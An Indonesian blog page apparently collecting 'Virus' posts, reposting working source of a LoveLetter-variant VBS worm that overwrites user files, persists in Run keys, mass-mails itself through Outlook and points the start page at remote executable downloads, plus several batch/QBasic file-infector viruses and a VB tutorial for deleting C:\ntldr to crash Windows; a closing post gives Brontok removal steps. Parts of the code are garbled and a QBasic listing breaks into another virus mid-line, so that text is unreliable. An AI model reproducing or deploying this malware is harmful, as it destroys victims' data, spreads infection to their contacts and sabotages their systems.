Good Thinking

Tampilkan postingan dengan label Virus. Tampilkan semua postingan

Source kode virus...

Posted On

at di 11.17 by Cyberlogica

ny source virus VBS yang lumayan stresss virus I LOVE U !

cuma sekedar mau ngeshare buat penelitian !

gak ada maksud lain !,demi kemajuan bangsa indonesia jga ! Rolling Eyes Rolling Eyes Rolling Eyes Rolling Eyes

Quote:

rem barok -loveletter(vbe) 

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\RYAN_HIJACKERS.txt.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32

",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Wi

n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet

Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX

.exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFI

X",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")

or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or

(s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\Ryan_hijackers.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "attacked"

male.Body = vbcrlf&"mampus PC lw kena virus gw !"

male.Attachments.Add(dirsystem&"\RYAN_HIJACKERS.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count

else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<HTML><HEAD><TITLE>Ryan_hijackers - HTML<?-?TITLE><META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@ryan_hijackers the cyber devil !@-@>"&vbcrlf& _

"<?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#Ryan_hijackers.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#Ryan_hijackers.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER>This HTML file need ActiveX Control<?-?p>To Enable to read

this HTML file - Please press #-#YES#-# button to Enable

ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>

"&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"

dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")

dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")

dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")

dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")

dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")

dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

set fso=CreateObject("Scripting.FileSystemObject")

set c=fso.OpenTextFile(WScript.ScriptFullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=ubound(lines)

for n=0 to ubound(lines)

lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91))

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93))

lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37))

if (l1=n) then

lines(n)=chr(34)+lines(n)+chr(34)

else

lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"

end if

next

set b=fso.CreateTextFile(dirsystem+"\Ryan_hijackers.HTM")

b.close

set d=fso.OpenTextFile(dirsystem+"\Ryan_hijackers.HTM",2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.close

end sub

Readmore...

Posted in Label: Virus | 2 komentar

Batch Virus Code

Posted On

at di 10.45 by Cyberlogica

Lansung aja ya,,,
semua code dibawah ini copy ke notepad trus save dalam format ".bat"

The Wagner Virus

--------------------------------Code-------------------------------

@echo off

ctty nul

rem ______________________________________________________________

rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf

rem :This virus can be cured simply by typing "attrib -h -r *.*" in

rem :infected directories and deleting BAT files that are identical

rem :to this code, then rename the files having a "V" at the start

rem :to their original names. NOTE: Does not infect COMMAND.COM.

rem :______________________________________________________________

for %%f in (*.exe *.com) do set A=%%f

if %A%==COMMAND.COM set A=

rename %A% V%A%

if not exist V%A% goto end

attrib +h V%A%

copy %0.bat %A%

attrib +r %A%

ren %A% *.bat

set A=

:end

ctty con

@if exist V%0.com V%0.com %1 %2 %3

@if exist V%0.exe V%0.exe %1 %2 %3

----------------------------End of Code----------------------------

2-

Batch virus "_!"

----------------

Infects parent and current directories

Virus code is appended to the host batch

Only works if host is in current directory

Infects just one batch unless new clean batches are added

This is a very simple batch virus. When it runs it appends its code

to another batch file in the parent or current directory. It is not

very effective but illustrates the basics.

----------------------------(cut here)------------------------------------

@ctty nul._!

for %%a in (*.bat ..\*.bat) do set _!=%%a

find "_!"<%_!%

if errorlevel 1 find "_!"<0>>%_!%

ctty con._!

----------------------------(cut here)-----------------------------------

3-

Batch virus "BfV"

-----------------

Creates the hidden file "_BFV" in the root directory of drive C

Infects one batch per run in current and parent directories

Gives up after encountering seven infected batches

Virus code is appended to the host batch

This is an improved appender. It only has to be run from its own directory

once to enable it to reproduce even when the host is in a path directory.

To avoid slowing batch files down too much it exits if it can't infect

after checking seven batch files. If the host batch ends with nul characters

it removes them so the virus code will run.

----------------------------(cut here)------------------------------------

@echo off%[BfV_B]%

if '%1=='## goto BfV_%2

if exist C:\_BfV.bat goto BfV_

if not exist %0.bat goto BfV_end

find "BfV"<0>C:\_BfV.bat

attrib C:\_BfV.bat +h

:BfV_

command /e:5000 /c C:\_BfV ## run

goto BfV_end

:BfV_run

for %%i in (*.bat ..\*.bat) do call C:\_BfV ## inf %%i

exit BfV

:BfV_inf

if '%BfV%=='1111111 exit

set BfV=%BfV%1

find "BfV"<3>nul

if not errorlevel 1 goto BfV_end

type %3>BfV

type C:\_BfV.bat>>BfV

move BfV %3>nul

exit BfV

:BfV_end

----------------------------(cut here)------------------------------------

4-

Batch virus "MeLT"

------------------

Creates the hidden file "MELT_2A" in the temp directory

Infects files in the current, parent and all path directories

Infects one batch per run if less than ten infected files encountered

After detecting ten infected files it displays a graphics screen effect

Adds one line before the host batch and appends the rest

Will not run if attached to AUTOEXEC.BAT (but infects it)

This batch virus is much more advanced. It takes control from the host

immediately, runs the virus then runs the host batch. The host is run in

such a way as to disable the virus until the host is completely finished

to avoid slowing down batch files that call themselves in a loop. Simple

appenders are very obvious when on such files, but this one causes no

significant speed loss except at startup. This virus carries a harmless

payload which is assembled with the debug command - it 'melts' the screen

in a flash of color then returns it to normal before running the host.

----------------------------(cut here)------------------------------------

@if not '%0==' if '%_melt%==' goto meltbeg

::---- dummy host --------

@echo off

echo Hello World!

::---- end dummy host ----

@goto MeLTend [MeLT_2a]

:MeLTbeg

@echo off%_MeLT%

if '%1=='MeLT goto MeLT%2

if not exist %comspec% set comspec=%_MeLT%command

%comspec% /e:5000 /c %0 MeLT vir

set MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9

call %0 MeLT rh

set _MeLT=

set MeLTcl=

goto MeLTend

:MeLTrh

set _MeLT=x

%0 %MeLTcl%

:MeLTvir

set MeLTH=%0

if not exist %_MeLT%%temp%\nul set temp=%tmp%

if exist %temp%\MeLT_2a goto MeLTrun

%0 MeLT fnd . %path%

:MeLTfnd

shift%_MeLT%

if '%2==' exit MeLT

set MeLT=%2\%MeLTH%.bat

if not exist %MeLT% set MeLT=%2\%MeLTH%

if not exist %MeLT% set MeLT=%2%MeLTH%.bat

if not exist %MeLT% set MeLT=%2%MeLTH%

if not exist %MeLT% goto MeLTfnd

find "MeLT"<MeLT>%temp%\MeLT_2a

attrib %temp%\MeLT_2a +h

:MeLTrun

%MeLTH% MeLT s . .. %path%

:MeLTs

shift%_MeLT%

if '%2==' exit MeLT

for %%a in (%2\*.bat %2*.bat) do call %MeLTH% MeLT inf %%a

goto MeLTs

:MeLTinf

find /i "MeLT"<3>nul

if not errorlevel 1 goto MeLTno

echo @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.t

type %3>>MeLT.t

echo.>>MeLT.t

type %temp%\MeLT_2a>>MeLT.t

move MeLT.t %3>nul

exit MeLT

:MeLTact - flash-melt screen text then put back to normal

echo e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.t

echo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.t

echo e 120 B4 4C CD 21 00>>MeLT.t

echo g>>MeLT.t

debug<MeLT>nul

del MeLT.t

exit MeLT

:MeLTno

set MeLTC=%MeLTC%1

if %MeLTC%==1111111111 goto MeLTact

:MeLTend

----------------------------(cut here)------------------------------------

5-

QBasic virus "BasVir"

---------------------

Infects one BAS file in the current directory per run

Inserts its code in front of the host so it will run first

Does not infect QBasic programs that contain "DECLARE"

Really a batch virus that hides in BASIC code

If the host is renamed the virus won't work

I wrote this in response to someone's request on the net for a virus

written in BASIC. I hope they don't mind if the BASIC program makes

a batch and runs it. It stays out of programs that use procedures to

avoid causing errors, such programs cannot tolerate prepended code.

This is really a joke, but it's a QBasic virus (no? you write one.)

The following must be named BASVIR.BAS to function.

----------------------------(cut here)------------------------------------

basvirH$ = "BASVIR.BAS"

OPEN "~$.bat" FOR OUTPUT AS #2: REM BasVir

PRINT #2, "@echo off %BasVir1%"

PRINT #2, "if '%1=='BasVir goto BasVir%2"

PRINT #2, "for %%a in (*.bas) do call ~$ BasVir 2 %%a"

PRINT #2, "exit": REM BasVir

PRINT #2, ":BasVir2"

PRINT #2, "find "; CHR$(34); "DECLARE "; CHR$(34); "<3>nul": REM BasVir

PRINT #2, "if not errorlevel 1 goto BasVirE"

PRINT #2, "echo basvirH$ = "; CHR$(34); "%3"; CHR$(34); ">~1": REM BasVir

PRINT #2, "find "; CHR$(34); "BasVir"; CHR$(34); "<basvirH>nul

if exist PiFV! del PiFV!

:: run the host

set PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9

call %0 PiFV hst

set PiFVo=

set PiFVcl=

:: check for activation...

echo.|date|find /i "sat">nul.PiFV

if errorlevel 1 goto PiFV_end

echo.|time|find "7">nul.PiFV

if errorlevel 1 goto PiFV_msg

set PiFV=echo

cls%_PiFV%

%PiFV%.

%PiFV% There once was an Otter named Oscer

%PiFV% Who claimed to know how to make water.

%PiFV% "No more dams," he said, "use my water instead!"

%PiFV% But the Elder Otter was not impressed.

pause>nul.PiFV

set PiFV=

goto PiFV_end

:PiFV_msg

echo [PiFV] by WaveFunc

goto PiFV_end

:PiFV_hst

%PiFVo% %PiFVcl%

goto PiFV_end

:PiFV_go

set PiFVh=%0

if not exist %PiFVh% set PiFVh=%0.bat

if not exist %PiFVh% exit

for %%a in (*.pif) do call %0 PiFV inf %%a

exit PiFV

:PiFV_inf

set PiFVp=%3

:: get victim filename and infection marker

:: from PIF file using debug...

if exist PiFV! goto PiFV_1

echo m 124,162 524>PiFV!

echo e 100 '@set fn='>>PiFV!

echo m 524,562 108>>PiFV!

echo n pifv$.bat>>PiFV!

echo rcx>>PiFV!

echo 47>>PiFV!

echo w>>PiFV!

echo m 55E,561 108>>PiFV!

echo e 10C 0>>PiFV!

echo n pifv$$.bat>>PiFV!

echo rcx>>PiFV!

echo 10>>PiFV!

echo w>>PiFV!

echo q>>PiFV!

:PiFV_1

debug %PiFVp%<PiFV>nul

call PiFV$

set PiFVn=%fn%

call PiFV$$

set PiFVi=%fn%

del PiFV$?.bat

:: pifvn=orig filename

:: pifvi=infection marker

:: pifvp=pif filename

:: pifvh=companion bat file

:: skip infected or 'empty' pifs...

if '%PiFVi%=='PiFV goto PiFV_end

if '%PiFVn%==' goto PiFV_end

:: don't shadow command.com (be nice)

echo %PiFVn%|find /i "command">nul

if not errorlevel 1 goto PiFV_end

:: infectable - create a companion batch...

:: (the following code strips off the extension)

echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$

echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$

echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$

echo n pifv$.com>>PiFV$$

echo rcx>>PiFV$$

echo 2a>>PiFV$$

echo w>>PiFV$$

echo q>>PiFV$$

debug<PiFV>nul

echo %PiFVn%|PiFV$>PiFV$$.bat

call PiFV$$

set PiFVb=%fn%.bat

del PiFV$?.*

:: pifvb=new batch name

:: do not shadow if comp has same name as host

if %PiFVo%==%PiFVb% goto PiFV_end

if exist %PiFVb% goto PiFV_end

echo @echo off>%PiFVb%

echo set pifvo=%pifvn%>>%PiFVb%

find "PiFV"<PiFVh>>%PiFVb%

attrib %PiFVb% +h

:: ...and point the PIF at the companion

echo e 15E 'PiFV',0>PiFV$$

echo e 124 '%PiFVb%',0>>PiFV$$

echo w>>PiFV$$

echo q>>PiFV$$

debug %PiFVp%<PiFV>nul

del PiFV$$

:: I think we're done!

exit PiFV

:PiFV_end

:: wonder how many bugs all this has in it? Only one

:: way to find out...

Readmore...

Posted in Label: Virus | 0 komentar

Membuat virus palsu...

Posted On

at di 10.30 by Cyberlogica

Waoi....
Nhe g ada cara cepet buat ngerjain orang tanpa tool apapun...
Kecuali notepad.....
Caranya gene....
1. Matiin DF kalo disitu ada Df...Trus restart....
2. Masuk ke notepad....

3. Ketikkan source code ini...
Source nya sengaja ga g masukin ke kategori code...
Cos ntar g susah nandainnya....

<html>
<head>
</head>
<title>
Virus Algojo
</title>
<body background="http://tbn0.google.com/images?q=tbn:UhZDDeUoABr1KM:http://orangemood.files.wordpress.com/2007/04/love.jpg">

<marquee behavior="Alternate" scrolldelay="90">
Saya adalah virus yang dibuat untuk memperlambat proses kerja internet....
 
</marquee>
 
<center>
Salam Kenal...
</center>

<center>

Virus by : Cyberlogica
</center>

</body>
</html>

Liat...

Source code yg g merahin itu adalah code yg bisa kalian ubah2 terserah maw kyk gmana.....

Sbenernya smwa terserah jg c...

Cm ini g ngasi yg instan aja....

virus palsu ini bisa jalan kalo web browsernya " FF n IE"....Opera g ga tau coz lom pnah coba.....

Laughing

Nah kalo uda...
Di copy n diganti2 skg usave di desktop dengan nama dengan browser tersebut....

Mis :
Internet Explorer.....

Nanti u save pake nama internet Explorer juga....Tapi berformat HTML bukan TXT
Cuma nanti Internet Explorer >> browsernya u apus dari desktop juga dari Recycle....
Trus Internet Explorer >> Buatan u....

Usahain jgn ampe kliatan formatnya....Yaitu HTML tadi...
Kalo browsernya ada 2 FF n IE u bwt dg cara yg sama.....
Caranya...

Masuk ke file apapun....

Masuk ke tools >> Folder Option >> View >> yang hide extension type itu u kasi tanda centAng....

Nah proses pembuatan virus dah selesai........ Wink

Readmore...

Posted in Label: Virus | 0 komentar

Buat virus pake VB

Posted On

at di 10.02 by Cyberlogica

Gene2.....
1...
Buat form...
2
visible mode = false >> ada di plihan propertiesnya..
3.
Dah jadi kn..Klik 2x pada formnya...

Muncul

Code:

Private Sub Form_Load()
End Sub

4.
Di vb...Kn ada yang namanya perintah / code KILL...
kill ini berfungsi utk menghapuz file dengan ext nya...
cth : aku.txt....
Laughing Laughing Laughing
Dah ngerti kn mpe sini???
Ga bngung???
Razz Ga.... Pa guru...... Razz
Ok kalo gt lanjut....
5.
kembali ke urutan 3.
Setelah tampilan

Code:

Private Sub Form_Load()
End Sub

muncul...
Maka yang harus dilakukan adalah....
membuat perintah di dalam source itu...
Perintah yang akan kita buat adalah Kill.....
Kalian tahu tidak bentuk code Kill bagiamana???

Razz Tidak Pa guru... Razz
Ok...
Kalo gitu bbiar saya jelaskan...
Pattern kill itu seperti ini...
Kill "alamat file"
Cthnya...
Kill "C:\Windows\explorer.exe"

Nah itu merupakan btk dari code KILL..

Sekarang mari kita terpakan code KILL ke dalam aplikasi VB

Code:

Private Sub Form_Load()
'Masukkan code kill disini
Kill "C:\ntldr"
End Sub

Seperti yg sudah sya informasikan bahwa ntldr adalah salah satu file ptg pada windows...
Jadi kalo kita delete alhasil windows bisa crash....

Nah...
Abis itu...
Klik Menu File >> Make Form1.exe
Setelah itu save..
Maka code yg tlah anda ciptakan tadi berubah mjd btk exe....
Wink Wink Wink Wink

Readmore...

Posted in Label: Virus | 0 komentar

CARA MENGHILANGKAN VIRUS BRONTOK

Posted On

at di 09.30 by Cyberlogica

Catatan:
Sebagian besar dari trik-trik di bawah ini tidak hanya dapat
diterapkan untuk virus Brontok saja, tetapi juga untuk kebanyakan
virus-virus lain.

CARA MENGATASI VIRUS BRONTOK
CARA 1: UBAH NAMA FILE MSVBVM60.DLL
Virus Brontok (dan beberapa virus lain) dibuat pake Visual Basic 6.0.
Agar virus ini dapat bekerja, ia membutuhkan file MSVBVM60.dll yang
terletak di folder C:\Windows\System (atau C:\Windows atau
C:\Windows\System32 ???). Jika file MSVBVM60.dll diubah namanya,
misalnya menjadi MSVBVM60.dl_, otomatis virus tersebut tidak dapat
bekerja. Konsekuensinya, kita juga tidak dapat menjalankan
program-program yang dibuat sendiri (atau program yang dikasih teman),
yang dibuat pake VisualBasic 6. Cara ini adalah cara yang paling mudah,
dan paling cocok buat orang yang masih awam tentang cara-cara mengatasi
virus, dan tidak berkepentingan dengan program-program yang dibuat
pake VB6.

CARA 2:
1. Restart komputer, masuk ke Safe Mode.
Ketika komputer direstart, tepat sebelum logo Windows muncul, tekan
F8 berkali-kali hingga muncul boot menu, yang di dalamnya terdapat
pilihan Safe Mode. Pilih Safe Mode menggunakan tombol panah atas/
bawah, kemudian tekan enter. Setelah berhasil masuk ke Safe Mode,
akan tampil pesan yang memberitahu bahwa Windows dijalankan dengan
Safe Mode.
2. Klik Start > Run, kemudian ketik CMD, lalu tekan enter. Jika langkah
ini berhasil akan tampil sebuah program yang latar belakangnya
berwarna hitam (DOS). Pada program tersebut terdapat tulisan:
C:\Documents and Settings\…
3. Ketik CD\ kemudian tekan enter.
4. Ketik dua perintah berikut, masing-masing diakhiri dengan menekan
tombol enter:

REG DELETE HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION POLICIES\SYSTEM /V DISABLEREGISTRYTOOLS
REG DELETE HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION POLICIES\EXPLORER /V NOFOLDEROPTIONS

Ulangi kedua langkah di atas, tetapi HKCU diubah menjadi HKLM.

Langkah ke-5 hingga langkah ke-9 adalah pencarian file dalam folder
tertentu. Langkah-langkah ini dilakukan menggunakan program Find,
yang dapat dipanggil dengan mengklik kanan pada folder target
pencarian (misalnya C:\Documents and Settings, atau C:\Windows),
kemudian klik Search. Untuk mencari semua file berekstensi .EXE
(empat huruf terakhirnya ‘.EXE’), ketikkan *.exe pada kotak nama file
yang akan dicari (kotak paling atas). Pastikan agar program Find juga
mencari folder/file yang tersembunyi, dengan mengklik Advanced Options,
kemudian centang pilihan yang tulisannya kurang lebih ‘Search
hidden files and folders’.
5. Cari SEMUA file .PIF di C:\Documents and Settings, kemudian hapus
semua file hasil pencarian yang:
- Bergambar MSDOS
- Ukurannya jauh di atas 4KB.
Jika kedua kriteria di atas tidak terpenuhi, jangan dihapus.
6. Cari SEMUA file .COM di C:\Documents and Settings, kemudian hapus
semua file hasil pencarian.
7. Cari SEMUA file .EXE di C:\Windows, yang bergambar folder.
8. Cari SEMUA file .SCR di C:\Windows, yang bergambar folder.
9. Buka folder C:\Windows\System32\Config, kemudian telusuri semua
folder di dalamnya. Kemudian hapus folder/file yang ganjil, yang
sangat meyakinkan dibuat oleh virus, bukan bawaan Windows, misalnya:
- Folder bernama Loc.Mail.Brontok
- File internet, bernama “i love vita.htm”. Jika ada file ini,
biasanya ada juga satu file yang ekstensinya .BIN dan ukurannya
kecil (kurang dari 2KB). Hapus juga file ini.
9a.Lakukan juga pencarian di semua drive selain C:, untuk file-file
.EXE yang bergambar folder. Hapus semua file yang ditemukan.

10.Klik Control Panel > Scheduled Tasks. Hapus At1.job, At2.job, dsb,
jika ada.
11.Klik Start > Run, kemudian ketik REGEDIT. Jika REGEDIT tidak
berhasil dijalankan dan langkah ke-4 sudah berhasil dilakukan, coba
lagi langkah ke-11 setelah direstart ulang. Jika REGEDIT sudah dapat
dijalankan, lakukan operasi2 berikut:
- Tekan Ctrl+F untuk mencari nama key atau value.
- Ketikkan Run, kemudian hapus semua tanda centang pada kotak-kotak
pilihan yang tersedia, KECUALI pada kotak pilihan ‘Key’ dan kotak
pilihan ‘Whole Word’ (atau ‘Match Word’, ‘Match Word Only’ ???).
- Kemudian klik Find.
12.Jika ditemukan key (gambar folder pada jendela kiri) yang bernama
‘Run’, lakukan langkah2 berikut:
- doubleclick salah satu value di sebelah kanan agar terlihat
‘nilai yang diberikan’ untuk value yang bersangkutan.
- jika nama value ganjil, atau jika ‘nilai’ utk value tersebut
ganjil, atau ganjil kedua-duanya, hapus value tersebut (close
dulu kotak yang menampilkan isi dari value yang bersangkutan).
* nama-nama value yang ganjil misalnya:
SatrioAdieX, Tok-Chirratus
* nilai value yang ganjil misalnya “C:\Windows…\svchos.exe”
(bukan svchost.exe), “C:\Windows…\Ekplorasi.exe”,
“C:\Windows…\Sembako.exe”, “C:\Documents and Settings…
\Brontok.exe”
* Jika ada nama value yang memang bawaan windows (misalnya
CTFMON, jangan dihapus! Yang ini memang bawaan Windows!
13.Tekan Ctrl+F, kemudian klik Find Next, ulangi langkah-12 hingga
ada pesan ‘No more found’ (atau ‘Search text not found’ ???).
14.Tekan Ctrl+F, beri centang kotak Value, hapus centang pada kotak
Key dan Data. Ketikkan ‘NoFolderOptions’ pada kotak pencarian.
Jika ditemukan, hapus value tersebut. Ulangi hingga tidak ada lagi
value ‘NoFolderOptions’.
15.Ulangi langkah-14, tetapi key yang dicari diubah menjadi
‘DisableRegistryTools’. Hapus value tersebut, jika ditemukan.

CATATAN:
Langkah-langkah di atas adalah trik-trik dasar yang secara umum dapat
diterapkan pada berbagai macam virus, tidak hanya Brontok. Tetapi
sangat mungkin suatu saat nanti beberapa di antaranya tidak berlaku
lagi, karena bisa jadi virus-virus yang akan muncul di masa mendatang
menggunakan strategi yang sama sekali berbeda. Yang penting pahami
konsepnya! Hingga saat ini, cara-cara di atas memang masih dapat
diterapkan, baik untuk Brontok, maupun virus baru yang sepertinya
tiruan dari Brontok (54trio/Satrio).

MENGHINDARI VIRUS
Jika komputer sudah bersih dari virus, langkah-langkah berikut dapat
membantu menghindarkan komputer dari infeksi virus:
1. Jika menu Folder Options dapat digunakan, ubah setting2 Folder
Options berikut pada bagian View:
- Klik Show hidden files and folders
